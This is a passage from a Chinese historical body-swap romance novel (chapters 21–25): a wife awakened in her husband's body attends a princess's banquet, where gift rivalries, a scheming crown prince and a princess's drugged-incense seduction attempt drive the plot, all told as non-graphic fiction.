想通了这点,他脸上染上灰败。 完了,捉奸捉到正主头上了,他死定了。 南枢觉得和他废什么话呢,一记手刀砍在赵六的脖子上,见人昏了,这才开口道:“夫人?真的是您?” 沈溪言点了点头。 两人脸上露出欣喜的神色,南枢作势就要往外窜:“夫人,我这就将这个好消息告诉侯爷。” 他正要离开,又折返回来,警惕地盯着另一人。 沈溪言刚好有话要问:“侯爷如今在哪?” “公主别院……” “军营……” 两人同时开口,答案却不同。 沈溪言皱了皱眉:“怎么回事?你先说。” 见沈溪言指向李云崖,南枢呛住了似的,猛地咳嗽了几声。 李云崖一脸憋屈,也不知道世子怎么想的,竟答应替二公子遮掩:“是,南枢说的没错,侯爷替您赴大长公主的宴会去了,如今正在东郊公主的别院。” 南枢脸上得意,分明是二公子与夫人成的亲:“夫人,他方才的意思是,您昏迷这段时间,假侯爷如今正在军营呢。” 他把‘假’这个字咬的极重,话音刚落,就听见李云崖后槽牙咬的咯咯作响的声音。 “可是卫将军?” 军中能扮演阿珣还不漏破绽的,也只有卫奕了。 “……是……吗?” 南枢一脸看戏的表情:“李护卫,夫人问你呢,你问谁呢?” 不出所料收到一记眼刀。 李云崖咬牙:“……是……吧。” “如今,我已经醒了,你两快去通知侯爷和卫将军。”沈溪言按了按额角,满眼疲惫。 “是。” 不知为何,两句话的功夫,她全身像是散架了一般疼痛,见两人并未动身:“怎么了?” 李云崖皱眉:“夫人,此人如何处置。”他指了指被打晕的赵六。 南枢非要等李云崖离开他才敢走,是因为主子给了他任务——盯紧李云崖,让他别乱说话。 见李云崖为了这点小事纠结,无奈道:“一刀剁了就是。” 说罢他拎小鸡一样抓着赵六的后衣领,就将人拖着往外走。 “等等——” “等侯爷回来再处理吧,先关起来。” 沈溪言毕竟不是杀伐决断的将军,还做不到随意下令处死一个人。 “是。” 两人正要退下,屋外突然传来一阵急促的脚步声。 映叶被拦在门外。 她不知内情,只听到屋内似乎有侯爷的声音,只能扬声禀告:“奴婢求见侯爷,夫人说的东郊的宴会似乎有诈,特意让奴婢赶回来,请侯爷准备些贵重礼物送往别院,以免被人拿了把柄。” 屋内并未回应,到是身后传来一道清冽沉稳的声音:“那边什么情况?” 映叶一惊,倏然转身,只见侯爷身披靛青鹤氅,面色沉静,正从她的侧后方阔步而来。 第21章 当众献礼 第二十一章 当众献礼 她惊疑未定,又扭头望了望紧闭的房门,方才她听错了? 屋内,适才沈溪言正要喊映叶进来,额角处突然传来针扎般的痛疼,让她一时说不出话来。 她缓了半刻,艰难开口:“我得去东郊别院。” 内宅女子的手段,阿珣想必从未见过,她怕他吃亏。 “夫人,万万不可。” “夫人,您脸色不太好,还是歇着,这些事属下会去办好。” “不行,我不放心。” 突然,她听到屋外响起一道熟悉的男声,音色清润纯正,正如记忆般极其沉定,只简单几个字就让她思绪恍惚了起来。 “云崖,怎在此吵嚷?成何体统……” 下一秒,声音的主人推门而入,那张天天见到的面容蓦然出现在眼前,竟让她生出了一种恍若隔世的感觉。 温珣刚迈过门槛,身子就僵在原地。 他一眼瞧见,顶着温越身体的沈溪言直愣愣立在屋内,身后杵着两脸无措的李云崖和南枢。 霎那间,他心里涌起巨大的酸楚和惊喜,可下一秒就意识到自己的突然出现将会带来灭顶的危险。 他不敢动弹,在沙场杀敌无数的将军竟紧张到掌心冒汗,心跳如鼓。 趁沈溪言愣神的功夫,温珣冲李云崖递了个眼色,无声问道:‘怎么回事?’ 李云崖心虚地别开眼,南枢一副唯恐天下不乱,看热闹的样子。 “卫将军,我醒了,这段日子辛苦你了。” 沈溪言强迫自己稳住心神,纵然知道是此人是卫奕假扮的,沈溪言还是有一瞬间的恍惚。 卫将军果真厉害,模仿的是夫君嗓子受伤之前的音色。 听到这个称呼,温珣松了一口气,可随即心里又涌上些许失落的情绪。 爱人近在眼前,却不能相认。 他想张口,又想起温越的那句警告,‘若阿言醒来,还请兄长助我,阿言亦不能得知真相,她若知道真相,竟失身于我,定不会苟活。’ 温珣只得打碎了牙,将满口的苦涩与血泪往肚里吞,他再次看向李云崖,眼里冒火。 是在怪他的自作主张。 李云崖将头垂的更低了,南枢干脆笑出了声。 他走上前去,一把揽过温珣的肩膀,干笑两声:“卫将军好演技,竟然比夫人演的还像侯爷,不如一会儿随我等去东郊别院,替侯爷解围?” “不可。” 沈溪言果断拒绝,目光坚定:“既然我醒了,便不可在劳烦卫将军,他们是冲侯府来的,我去便是。” 温珣喉结滚动,缓缓吐出一口气,闷声道:“是,都听夫人的安排,你们都退下吧。” 一盏茶的功夫,沈溪言已经收拾妥帖,她适应的极快,冷脸不讲话的时候,还真有几分沙场将军杀伐决断的模样。 温珣见她对着铜镜练习表情,还抽空吩咐映叶从库房里拿了一副鎏金点翠三色宝石头面,等套了马车,转身要出门时,才想起来他的存在。 “卫将军,你怎么还在呢?” “我……” “你不必担心,我带映叶去,还有两名暗卫兄弟暗中相护,定会无事,我既露面,还请卫将军摘了面具再出府吧。” “……是,夫人想的周到,只是这面具不易摘下,夫人不如先行。” 沈溪言想起先前假醉玉的事,大约是需要特定的药水才行,不疑有他,她点了点头:“卫将军自便。”然后转身离去。 温珣望着远去的马车,按了按眉心,胸腔里积攒的郁气化做一声长叹。 主子没发话,李云崖没跟上去,他隐在暗处,看着一脸愁苦的主子,自言自语道:“哎,现在怎么办?” 夫人突然醒来,让所有人措手不及。 这以后,主子该如何自处。 谁知南枢也没走,他冷不丁趴在李云崖耳边低语:“什么怎么办?” 李云崖被吓了一跳,凌厉的掌风擦着耳边而过,却被南枢轻巧躲过。 “好凶呀。” 见李云崖眯了眯眼,南枢立马投降:“云崖,我是来帮你的。” 李云崖白了他一眼。 南枢撇撇嘴:“你还不赶紧替你家主子准备卫将军的人皮面具,然后通知卫将军,赶紧找个人少的地方躲起来,让他最近就别露面了,要不然以后两个卫将军同时出现,那就有戏看了。” “主子能愿意?” “你试试不就知道了,言尽于此,我先走一步,侯爷还等着我送东西呢。” 说罢,他足尖轻点,几个闪身就没了踪影。 …… 日影西斜,华灯初上,东郊公主府别院,昭阳郡主的及笄礼已经接近了尾声。 三加三拜之后,昭阳换上了最后一套吉服,大红的绸缎衬得她身姿如玉,明艳不可方物。 赞者端着酒呈上,英国公老夫人接过,口中唱祝完毕后递给昭阳,昭阳接了酒,双膝一弯,跪地将酒水撒开,纤细的手指沾了沾唇,随后将其递给身旁的侍女。 驸马常年缠绵病榻,久居澜沧郡养病,故今日并未出席,此时也只有大长公主从高座上走下,与英国公老夫人互揖道礼。 听到为郡主取了‘柔嘉’二字,温越心里嗤笑一声,柔婉有度,嘉言懿行,她到底符合这哪个字了。 想到此,他突然意识到自己好像从未唤过阿言道小字绵绵。 榴花急的像热锅上的蚂蚁,额头渗出薄汗,频频扭头冲正厅门外的方向张望。 夫人方才支走了映叶,应当是回去传话,让侯爷准备礼物赶紧送来,可这都什么时辰了,笄礼眼看就结束,可还连半个人影都没有。 一转头,榴花看见自家夫人神态自若,到真的观起礼了,甚至还边看边品着茶,半分不见焦灼之色。 随着昭阳对大长公主的最后一拜,赞者唱礼,昭阳被侍女搀扶着退下,这算礼成了。 本应到此结束,宾客退场,可在昭阳的强烈要求之下,开始了当众‘拆礼物’环节,长辈给小辈献礼,本是十分荒谬的行为,可在场长公主与储君都没发话,无人敢置喙半句。 过了半响,在众人的簇拥下,昭阳换了件更为舒适的雾粉孺裙再度出现。 侍者展开礼单,挨个念道:太子所赠的是一卷亲笔题名的《诗经》,勇毅侯夫人赠予一柄羊脂玉平安如意,左相府是十匹蜀地折枝海棠锦锻,念到的各个都是稀罕物。 直到说到将军府,则是一杆红缨长枪。 昭阳顿时变了脸色,陆绾绾讥笑:“宁小姐,哪天将军府要是没钱,你家揭不开锅了,你就来我家门口,可能门房的小厮一心软就赏你口吃食呢。” 堂前传来一阵哄笑。 宁素儿翻了个白眼,难得忍气吞声,只是低声嘀咕道:“就这我还不舍得给你呢。” 她转头望向温越,压低声音:“沈姐姐,方才我瞧,你是不是没带礼物来?我把我的红缨枪送出去了,我原本准备的那份你拿去用,是一支赤金珍珠步摇。” 第22章 礼物有点重 第二十二章 礼物有点重 温越一愣,同为习武之人,他自然知道趁手的兵器有多重要,宁素儿赴宴都带着那支红缨枪,可见是极其心爱之物,为了维护阿言,竟想也不想就送了出去。 他重新打量起眼前的女子,眸光中带了一丝敬意。 “多谢,不过……” 话音未落,便被一道声音打断。 “定北侯夫人,这礼单都念完了,也没听见侯府的名字,不知侯府为郡主准备了什么呢?” 这次陆绾绾干脆直接起身,称呼中还带了前缀,势必要‘沈溪言’给出个说法。 宁素儿一急,直言道:“好歹是大长公主唯一的女儿,和某人是不一样,人家正主都没发话呢,陆小姐就这么上不了台面,上赶着要礼物呢?” “你放心,沈姐姐早就备下了……” “素儿,没事。” 温越拉着宁素儿,递给她一个安心的眼神,依旧是一副从容不迫的模样。 “侯府的礼有些沉,还在路上,还请诸位稍候片刻。” “莫不是没准备,现去拿的吧。”陆绾绾掩唇轻嗤一声,周围随即响起几声低笑。 “陆姐姐,别瞎说。侯夫人不是那样的人,就算没准备,或是如今才想起来,我也不会介意的,改日补上便可。” “这天寒地冻的,就莫要让下人在来回跑了。” 昭阳嘴角挤出一个勉强的笑,说着话,眼眶立即委屈红了。 温越随手端起茶盏,轻轻吹去表面浮起的茶沫,语气不紧不慢:“郡主久未在京都,可能不知道这珍奇的物件运送起来十分费力,故此耽误了些时辰。” 他放下茶盏,神色慵懒,举手投足带着天生的贵气。 昭阳脸上一红,欲言又止,听出了话中的嘲讽,拐着弯说她没见识。 长公主神色也带了一丝不悦,原本想着沈氏是个知礼的,可如今这话说的,竟是连自己一同骂了。 “定北侯夫人年纪不大,口气倒是不小。如此,本宫倒也想看看,究竟为我儿准备了什么稀奇物件。” 温越轻轻‘呵’了一声,怕什么,今日敢来,便没想着善了此事。 他向来是有仇当场就报了,过不了夜。 突然,他察觉到一道玩味的目光在自己身上打量,抬头望见对面席中,那身着华服,气度逼人的年轻男子正望向自己,眉眼含笑。 两人目光对上,温越急忙把头扭了过去,心里一阵恶寒,萧铎是不是有病?对臣子的夫人挤眉弄眼的做什么? 太子萧铎方才就察觉到氛围不对,他一边打量众人神色,手指一边在白玉杯沿上有一搭没一搭地轻扣着。 定北侯温珣战功赫赫,冷心冷情,他几次示好均无动于衷,就连他这个储君的面子也不给,传言,他对着这夫人尤其爱重。 本来打算从沈氏入手,说不定温越能给自己几分薄面,可如今瞅见她害羞的模样,秀眉轻蹙,好似一抹俏丽的牡丹,如此绝色,他倒真的生出几分兴趣了。 他清了清嗓子:“姑母,孤看今日来的都不是外人,温侯夫人才华出众,在闺中便是京都有名的才女,再稀奇的物件也不过身外之物,不如夫人赋诗一首,就当是为柔嘉妹妹庆贺生辰了,岂不美哉?” 温越闻言眉头紧锁,狐疑地抬头,这太子好端端发什么疯,净会添乱,他记得与太子并不相熟啊。 更何况哪有官眷当众献艺的,这是正宴,又不是秦楼楚馆。 他白了一眼太子,后者微微颔首,似乎将那一眼当做了感激。 坐在左侧第二位齐王萧凌,意外挑眉,他撇了一眼太子,又看看定北侯夫人,看出太子的拉拢之意,从鼻腔里哼出一声笑。 “二哥这话说的不对,夫人若真做了这诗,岂不是真落了没备下礼物的口实,二哥这是在温侯面前碰了钉子,拿他夫人消遣不成?” 萧凌是中宫皇后杨氏嫡出,素来与太子不睦,若非他晚出生三年,这东宫太子的位子,怎会轮到一个贵妃所生的庶子头上。 “五弟,你误会孤了。”太子面色微沉:“温侯夫人,孤并无消遣你之意。” “二哥方才才说,这是家宴,没有外人,臣弟不过玩笑几句罢了。” 不等太子接话,齐王拱手一揖:“姑母赎罪,原是本王将二哥所言当了真。” “萧凌,你放肆了。” 年纪最小的六皇子萧翊,眼看两位兄长就要吵起来,在席上坐立难安,他想开口,又有些胆怯。 剑拔弩张之际,一小厮急匆匆跑来通报:“定北侯到——” 众人齐齐向门口望去,温越神色震惊,兄长怎么来了,不是让南枢把东西拿来就行吗? 榴花如释重负,长舒一口气,侯爷终于来了。 只见男子一袭玄色暗纹长袍,袖口金线压边,外罩鸦青大氅,身姿笔挺,神色平淡,正阔步走来。 他眸光中清冷疏离,是一贯的克制冷漠,目光却在进门的瞬间,锁定在了自家夫人那方,刹那间冰雪融化,如沐春风。 沈溪言在看到‘自己’的那一刻,紧绷的神情瞬间放松,乍一眼余光扫见他身侧的宁素儿,几乎贴着自己的身体而坐,他也并未制止,她的胸口像是一团湿棉花迅速膨胀,压的她上不来气。 无视温越疑惑的眸子,她强按下心头的酸涩情绪,向主位上的大长公主抱拳行了一礼。 “殿下,给郡主准备的礼物有些沉,夫人今早着急赴宴拿不上,本侯就说稍后送来,谁知不巧,军营中有事耽搁了,这时辰才送来,还好,没误了时辰。” 大长公主不曾想,真的让侯爷亲自送来了礼物,定北侯可不是手无缚鸡之力的柔弱官眷,那可是实实在在握有军权的,哪还敢拿乔:“定北侯客气了,来的正好,晚宴刚刚开始,侯爷快些入座吧。” 沈溪言缓步入席,她身后跟进来几个小厮,抬着一个并不算大的檀木箱子上前。 宁素儿向来有些怕温珣,见沈溪言走来,识趣地将温越身旁的位置让出来。 谁知惯常对她冷脸的侯爷,此时竟然冲她温和一笑,她顿时吓得脚底下发虚,往远挪了好几个席位。 事出反常必有妖,温侯莫不是在怪她坐了他的位置。 可沈姐姐也没说他要来啊。 温越还不知沈溪言清醒的事情,一入座就忍不住问到:“你怎么来了?不是让南枢来就行,军营的事处理完了?” 沈溪言以为他将自己认成了卫奕,挑了挑眉,学着卫奕的口吻答道:“将军放心,一切都安排好了。” 温越目光惊疑,身子向后倒了几分:“你吃错药了,怎么这么说话?” 第23章 吃醋 第二十三章 吃醋 沈溪言看了温越一眼,沉默好一阵,像是终于忍不住了,噗嗤一下笑出了声,她凑近温越,在对方惊恐的目光中,缓缓吐出几个字:“夫君,怎么样?我演的像吧。” 温越呼吸瞬间停滞,甚至胸口都忘了起伏,只呆呆的盯这原本自己的那张脸。 “你是阿言?……你醒了?” “好了,知道你两小夫妻感情好,这一会不见,就腻歪起来了。” 大长公主笑着调侃,打断了二人之间奇怪的氛围。 “殿下说笑了,还是看看本侯与夫人准备的礼物,郡主是否喜欢吧。” 温越反应再迟钝,也从那一句‘夫君’中意识到,眼前之人并非自己的兄长,而是顶着自己身体的沈溪言。 可她神色并无异样,怕是如何老所言,记忆有所损伤,不记得他欺骗她的事了。 这是好事。 他心里一阵后怕,方才若脱口而出喊一句‘兄长’,就全完了。 随着箱盖揭开,整个屋子仿佛都被照亮了。 温越的笑容在看到箱中之物的那一刻,凝在脸上。 那是一整套三色鎏金宝石头面,流苏坠饰,金光璀璨。 以白玉,碧玺,珊瑚为点缀,顶冠上镶嵌的每一颗宝石都硕大饱满,光彩夺目,华贵非常。除此之外,还有十二支头钗,其余耳饰,簪花数对,细数下来,足足有数十件。 众人倒吸一口凉气,纷纷赞叹起这副头面做工之精美,工艺之灵巧。 “温侯,这头面果真精巧非常。”大长公主看向面色微沉的‘沈溪言’,话里带了几分揶揄:“侯爷将自家夫人的陪嫁拿来,不怕夫人生气?” “无碍,这就是夫人的意思。” 昭阳自打‘温珣’进门,目光就没从‘他’的身上移下来过,可她毕竟年纪小,见到漂亮首饰便被瞬间吸引目光。 她的目光在‘温珣’与‘沈溪言’之间来回打量,只见女子面容僵硬,抿唇不言,男人则面色如常,回母亲的话时也不敢看自己的妻子。 含章哥哥应当是背着这个女人拿来的礼物,要不然她脸色怎会如此难看。 想到此中深意,昭阳的脸腾地一下迅速蹿红,她上前几步,扭捏地行了个礼:“多谢含章哥哥,这生辰礼,我很喜欢。” 沈溪言眼底泛起涟漪,同为女子,她太清楚昭阳这眼底的情愫,这分明少女怀春的爱慕之色。 她与夫君何时相识的?为何从未听夫君提起过? 她冲昭阳点点头,算是回应,后者将头垂的更低了,耳尖都泛红了。 在一旁本想瞧好戏的陆绾绾语气发酸,嘟囔一句:“不就是金子和宝石嘛,戴在身上多俗气啊。” 谁知恰好让宁素儿听见:“某些人,不要吃不到葡萄说葡萄酸,想要还没有呢。” 宁素儿满眼都是得意:“沈姐姐,是我多此一举,你原来早就准备……” 她的话还没说完,剩下几个字卡在喉咙间不上不下,因为她一转头就瞧见她的‘沈姐姐’,脸色十分有八分的难看。 温越眉眼间染上了焦急:“你怎么能擅作主张?” 那可是阿言的陪嫁。 怎配给她? 沈溪言有些意外:“那是我的东西,怎能叫擅作主张?” “你……” 他软下语气:“阿言,你不知道……” “我若不‘擅作主张’,你打算让南枢原本带来的是什么?假醉玉的人头?还是她的尸体?” 沈溪言也不知怎的,一张口话里就带着刺。 她不知自己究竟是怎么了,到底是在气恼方才夫君同宁素儿坐的近了,还是在意他竟与公主这个秘而不宣的小女儿如此熟稔。 总归心里不爽,说出的话也没有思考。 “你怎么知道……” “你别管我如何知晓,从侯府过来时,南枢没跟上来,我就让映叶暗中跟去瞧了。” “一具伤痕累累、奄奄一息的细作尸体,被撂在正主面前,将这宴会搅的一团糟,这就是你的目的?那女子是否是公主府的人还尚未可知,你怎么能如此行事?” “阿言,你误会我了。” 沈溪言心口堵的慌,眼中酸涩:“夫君,我不知道你怎么了,从前的你不是这样,近些日子做事总是失了分寸,变得莽撞冲动,不计后果,如今你我如此境况,更不该意气用事。” “你以为我只是在泄愤?你不知道,她们对你做了什么事,若非今日反应迅速,此刻‘你’性命堪忧。” 沈溪言一惊,回头瞅了一眼榴花,见她神色无恙,更觉得他是小题大做了。 “你用不着开脱。”她垂眸,抓起面前杯子,仰头饮下,下一秒就觉得喉咙间火辣辣地痛,猛咳几声,眼泪都被呛出来了。 低头一瞧,才发觉男宾面前的席面,茶水不知何时均被换成了酒水。 温越胸口闷的厉害,自己想替她出气,反而落不到一句好。 既然做了,他便有十足的把握全身而退。 知道她是担心自己,可那句‘从前’,那句‘莽撞冲动,不计后果’就像一根针,刺得他胸口钝痛。 没错,纵使她如今认不出自己,在她心里,他永远不如兄长沉稳,办事妥帖。 可见沈溪言被酒呛住,又不免担忧起来:“这虽是果酒,可于你来说还是太辛辣,你莫要喝的太急。” “温侯这是怎么了?才回京养了几月,竟变得如此金贵,酒都不会喝了?。” 对面齐王如墨的黑眸凝视,宴会丝竹声不断,再加上两人有意压低声音,他听不清温侯夫妻二人在说什么。 沈溪言轻轻佛开温越替她默默顺气的手,赌气般再次举起酒杯:“齐王这是哪里话,本侯敬你。” 说罢,将手中这杯酒一饮而尽。 太子皱眉瞧着,将一切都尽收眼底。 今日温珣看起来倒是没平日那般不近人情,还接了齐王的酒,倒是稀奇事。 他的这位夫人沈氏,自家夫君来了之后,仿佛变了一个人,到是没之前自如了。 他盯了许久,两人之间像是起了争执,不像是传言中恩爱夫妻的模样。 温珣的嘴唇紧抿,眉眼间似乎压着恼意,沈氏看似强势,可细微的举止中处处在瞧温珣的眼色,似乎还带着讨好。 太子嗤笑一声,沈氏就算再受宠,也不过一介女子,还以为温珣有多宝贝她,不过免不了男人的劣根性,嘴上说说罢了。 如今眼前这番场景,显然沈氏不知为何惹恼了定北侯。 纵使如此美人,也要过仰人鼻息的日子,太子心中不免痛惜。 他端起酒杯,啜饮一口,眸底墨色翻涌,若他得此美人,定舍不得让她受一丝一毫的委屈。 第24章 合作如何 第二十四章 合作如何 酒过三旬,纵使温越这具身体酒量甚好,沈溪言眼角也染上了醉意。 说到底,她还是对于换了个男子身体这件事颇受打击,即使这具身体不是外人,是她此生最为亲近之人。 她承认,宁素儿那件事她是矫情了,毕竟素儿妹妹亲近的可是自己的身体,可昭阳这件事做不得假,那仰慕之意是实打实的让她瞧在眼里。 最让人气恼的是,说了两句,他还生起气来了。 他有什么好生气的? 宴席那么久,一句解释也没有,只是一味劝她少喝点酒。 她现在是男子,喝点酒怎么了? 天色已暗,公主别院为前来赴宴的宾客备下了休息的客房。 温越今夜眼皮一直在跳,他本想带沈溪言回府,可她醉的不省人事,等她喝够了哄回去,城门早就落了锁。 在众人眼里,定北侯素来稳重,从未醉酒至此。 有眼尖的几个贵女敏锐地察觉到,‘侯爷’是见了昭阳郡主之后,才开始‘借酒浇愁’的。 须臾之间,定北侯夫妇与今日宴会的主角昭阳郡主,便成了话题的核心。 断断续续的议论传进沈溪言耳朵里,她心里更加憋屈了。 温越根本不知道她为何突然耍起了小性子,他心里的苦楚才是无处可说。 沈溪言重复着灌酒的动作,她捏着酒杯正欲仰头再饮,手腕突然被一只修长有力的手攥住。 睁开醉意朦胧的眸子,抬头望去,一眼瞅见太子正怔怔地凝眸望着她,嘴角噙笑:“温侯醉了。” 太子的嘴角挂着一抹意味深长的笑,对着温越道:“夫人不如让下人先扶侯爷下午休息?” “我没醉。”沈溪言脸颊泛红,那双清冷的黑眸染上盈盈水光。 就在温越即将发怒的前一刻,她把自己的手腕从男人掌中抽了出来:“太子殿下既邀,不如与我共饮一杯。” 斟满美酒的白玉杯被举到面前,越过那只手,太子竟然生生在一个男人脸上看出几分眼波流转的娇憨。 自被立为储君以来,外人递过来的食物他从不直接入口,这次,竟然鬼使神差地接过,饮下。 “孤喝了,温侯自便。” 沈溪言轻笑一声:“殿下赏脸,本侯自然要喝的。” 酒还未入口,一只芊芊素手横空伸出,一把夺过酒杯,‘啪嗒’一声重重掷在案上。 只见‘沈溪言’面色冷若冰霜:“殿下,侯爷已经醉了,殿下还一直灌酒,岂非君子所为?” “夫人莫要冤枉孤,是温侯盛情难却。” 太子一脸无辜。 温越不理会他,自顾自地将沈溪言的胳膊搭在自己的肩头,拼着浑身的力气才将人架起来。 牙关紧咬:“殿下赎罪,妾身先陪侯爷下去休息了。” 太子摆摆手,眼看着那娇小的身影,拒绝任何侍女小厮的触碰,一人费劲地架起男人,跌跌撞撞地往厅外走去。 他亦步亦趋地跟在身后。 出了正厅,一路行至通往寝房的石子小路,月光斑驳,照在地面还未消散的积雪之上,白的耀眼。 温越头一次感到男子与女子的重量与力气,差距是如此之大,他拖着醉醺醺的沈溪言,脚步虚浮,好几次踩到积雪上,险些滑倒。 又一次差点脚滑之后,他的手被稳稳托住。 抬头,又是太子。 “殿下竟有尾随他人的癖好,做储君真是屈才了。” 太子好像看出了他眼里的厌烦。 等他站稳,收回了手抱在胸前:“要不要帮忙?” 温越嘴硬:“不劳烦太子,妾身自己可以。” 萧铎站在原地,看见两人的身影消失在拐角,脸上的笑意才渐渐收敛。 他盯着自己的手,眼神迟疑,为何没有方才的感觉了。 良久之后,他的目光投向身侧假山的阴影处吗,沉声道:“出来吧。” 一阵窸窣声后,从黑暗中走出有一个娇小的身影。 “太子哥哥。” “昭阳,你跟踪孤做什么?” 女子精致的面容在月光下显露:“太子哥哥这话就怪了,这是我家的院子,我自然只是路过而已。” “哦?”太子眼眸冷郁,深深地凝视:“你在孤面前,就没必要绕弯子了。” 昭阳咽了口唾沫:“太子哥哥,我看出来你对沈氏有意思,正好我要含章哥哥,你我合作如何?” 沈氏? 太子目光晦涩,指腹轻轻摩挲着手上的玉扳指,良久之后才开口问道:“你想怎么做?” 昭阳呼出一口气,看方才太子的神情,她还以为她猜错了呢。 女子掩唇一笑,踮起脚凑近男人的耳畔,低声说了什么,两人相视一笑。 客房内,温越将沈溪言小心的放在床榻之上,看到自己的这张脸,睡得毫无防备,正是香甜,他不禁叹了一口气。 榴花和映叶几次想要进来,都被他挡在门外。 如今这情景,叫侍女来服侍,他不愿自己的身体被其他女子触碰,可若叫小厮来服侍,身体是他的没错,可阿言毕竟是个女子,他也不愿她被陌生男子触碰。 怎么都不合适。 思来想去,只能亲自上手。 只是他到底是高估了阿言这具身体的体力。 他从未觉得自己身体这样有压迫感,宛如一座大山,沉甸甸的,他费了九牛二虎之力,才将外衫脱下,又花了将近半个时辰,才将人安置妥帖。 一番折腾下来,他已经力竭了,瘫坐在地上,微微喘息。 “咚咚咚……” 木质的房门被敲响,温越语气不耐烦:“不必来了,我自己收拾便好。” “咚咚咚!……” 敲门声并未停止,反而越发急促。 温越站起身,一把拉开房门,冷冷道:“我不是说了……” 话语戛然而止。 不见榴花映叶的身影,男子眉眼含笑,去而复返。 “太子殿下。”温越那双漂亮的眸子冒火:“有事?” 萧铎低头,只见女子鬓发微湿,就着月光,冷风一吹,细腻如雪的面颊上染了一抹诱人的粉色。 “侯爷醉酒,已经睡下了,太子殿下若是无事,还请明日再来吧。” 温越就要关门,却被眼前男子一把按握住木质门叶,温越推了推,发现推不动。 “殿下这是何意?” “孤就不能是来找夫人的?” 温越危险地眯起眼睛,往后退了半步:“妾身与殿下不熟,请殿下自重,否则,就别怪我不客气了。” 男人轻笑一声,俯下身逼近几分:“夫人要如何不客气?” 看着男人的脸越凑越近,温越心里憋闷,早知就应当听兄长的,拒了这场宴会,也不会让萧铎这个疯子觊觎上阿言。 而且,他自认为已经表现的很抗拒了,怎么这厮还是阴魂不散。 女子当真是艰难。 以后再遇到当街骚扰女子的狗男人,那男人再敢胡言是女子勾引在前,他见一个废一个。 不知死活的狗东西。 温越烦闷到了极点,突然抬起右脚,狠狠地往男人最脆弱的地方踢去。 太子脸色骤变,没想到她真敢下脚,他往后撤了一步,下意识抬手去挡。 抵着门的力道一松,温越瞅准时机,‘砰!’地一声,用力将门合上。 “殿下还请自便吧,我与夫君就要安寝了。” 太子的鼻子差点磕在门上的雕花上,他不怒反笑,冷哼一声转身离去。 听到脚步声远去,温越松了一口气。 他揉了揉酸痛的眉心,转身走向床榻,可没走两步,却猛然僵在了原地。 床榻之上,空无一人。 糟了,中计了! 阿言的身体毕竟从未习武,五感四肢并不如从前的自己敏锐。 等他猛然察觉到屋内的陌生气息,正要抽出防身的匕首时,已经为时已晚。 脖颈处传来刺痛,温越只觉眼前一黑,整个人软绵绵地倒了下去,瞬间失去了知觉。 第25章 中计 第二十五章 中计 夜幕沉沉,寒风猎猎。 床塌上男子冷白的皮肤染着红晕,醉眸微醺,薄唇翕动,本就生的唇红齿白,剑眉星目,此时褪去几分清冷,显得顺贴了不少。 沈溪言掀开酸重的眼皮,入目是陌生的床塌,纱幔遮蔽了视线。 正欲起身,才惊觉自己双手被绳子紧紧筛住,捆在床头。 她脑子还有些发懵,只记得自己醒来后,来东郊公主府别院送礼物,与夫君闹了别扭,喝了些酒,再往后就是一片空白。 沈溪言转了转手腕,绳结紧实,动弹不了分毫。 厢房内萦绕着一股浓郁的熏香,丝丝缕缕地往鼻腔里钻。 她打了个喷嚏,本就喝了许多的酒的脑子,此刻反应更是迟钝,根本不知自己身在何处,缘何在此。 轻纱摇晃,一道曼妙的身影靠近,步态婀娜,摇曳生姿。 沈溪言皱着眉,压下胸腔中那股莫名的燥热:“你是何人……” 一开口,她自己都被吓了一跳。 嗓音涩哑,仿佛吞了些干涩的木屑,难听得紧。 一只细白的手臂探进来,掀开纱帐,露出女子精致艳丽的面容。 沈溪言瞪大了眸子:“郡主,你……” 昭阳跪坐在床塌边缘,少女穿的单薄,一袭软烟罗的寝衣,遮盖不住她凹凸有致的身段。 沈溪言心中警铃大作,警惕地往床塌内侧缩了缩,却被绳子拽着,无处可逃。 她目光如炬,冷冷道:“你想做什么?” 昭阳垂着头,呼吸急促,几缕发丝散落下来,她偷偷瞄了一眼‘温珣’,又迅速收回目光,脸上飞起一抹红晕。 “含章哥哥,你不是也喜欢柔儿吗?” “不是,郡主,你听我说……” “今日我都瞧见了。”少女咬着嘴唇,眸光娇羞:“那是嫂嫂的心爱之物,你不顾她的感受,将其送我,含章哥哥,你心里是有柔儿的,对不对?” 眼看着少女越贴越近,沈溪言急道:“郡主误会了,那本就是我……我夫人的主意。” “你莫要再口是心非了,方才宴席上,嫂嫂满脸写着‘你不配’几个字,分明就是不乐意的。” 沈溪言嘴角抽了抽,回想宴会的情景,温越表现的有那么明显吗? 趁她愣神的片刻,那温软的身子陡然扑了上来,沈溪言的腰上一沉,属于男子的墨瞳猛然收缩,呼吸絮乱,只见昭阳咬了咬牙,仿佛下定了某种决心,闭眼,贴近,伏下身子就要亲她。 并非昭阳想象中的柔软触感,她睁眼,男人侧过头,她的吻落在了他冷硬的下颌上。 “别,你别这样!” 只见男人急得额头冒汗,满脸屈辱,声音慌乱:“我早已娶媳,怎配郡主厚爱。” 昭阳坐起身子,语气里也带了一丝委屈:“含章哥哥,小时候我被下人欺辱,是你挺身而出教训了刁奴,那时我便喜欢你了。” 她的嘴角泛起苦涩的笑:“可这些年你总对我不冷不淡的,你与嫂嫂的婚事,不过陛下乱点鸳鸯,做不的数,你将她的陪嫁拿来,不就是证明心里有我,在同我表明心意。” 沈溪言眸中波动,原来是这样,她怕温越被刁难,总得拿出点压箱底的宝贝镇一镇场子,没想到竟然弄巧成拙了。 这会酒倒是醒了大半,想到自己今日乱吃飞醋,醉酒后惹出了这后续如此多的乱子,心里一阵懊悔。 怪不得夫君一句解释也没有,竟是郡主一厢情愿,可不是,她要他如何解释。 懊悔归懊悔,那股浓郁的异香似乎随着情绪的波动愈发猖狂地往人鼻腔里钻,一股难言的燥热如潮水一般卷来,小腹处窜起一股陌生的冲动。 沈溪言咬紧牙关,面如死灰。 她即便没当过男子,可此时也明白的那熏香有问题, 可这副神情落在昭阳眼里,又变成了被戳破谎言的窘迫。 昭阳认定温珣心里有她,毕竟身体的反应做不的假。她心头一喜,软烟罗的寝衣顺肩滑落,露出里面粉白色的肚兜。 沈溪言闭眼不在看她,额角的青筋直跳,浑身紧崩,偷偷发力,尝试能否挣脱手上的束缚。 可那熏香里似乎还加了迷药,此刻她手脚发软,四肢无力,真就像那待宰的羔羊。 躲在暗处的南枢面色犹豫,思索着究竟什么时候动手。 主子只吩咐了让护好夫人的安全,别让乱七八糟的男人靠近,可这不是男人,是个女人,还是个不能一刀杀了的女人,麻烦。 “你既……心悦于我,为何屡屡派人与侯府做对?” 昭阳一愣:“含章哥哥,你生气了?” 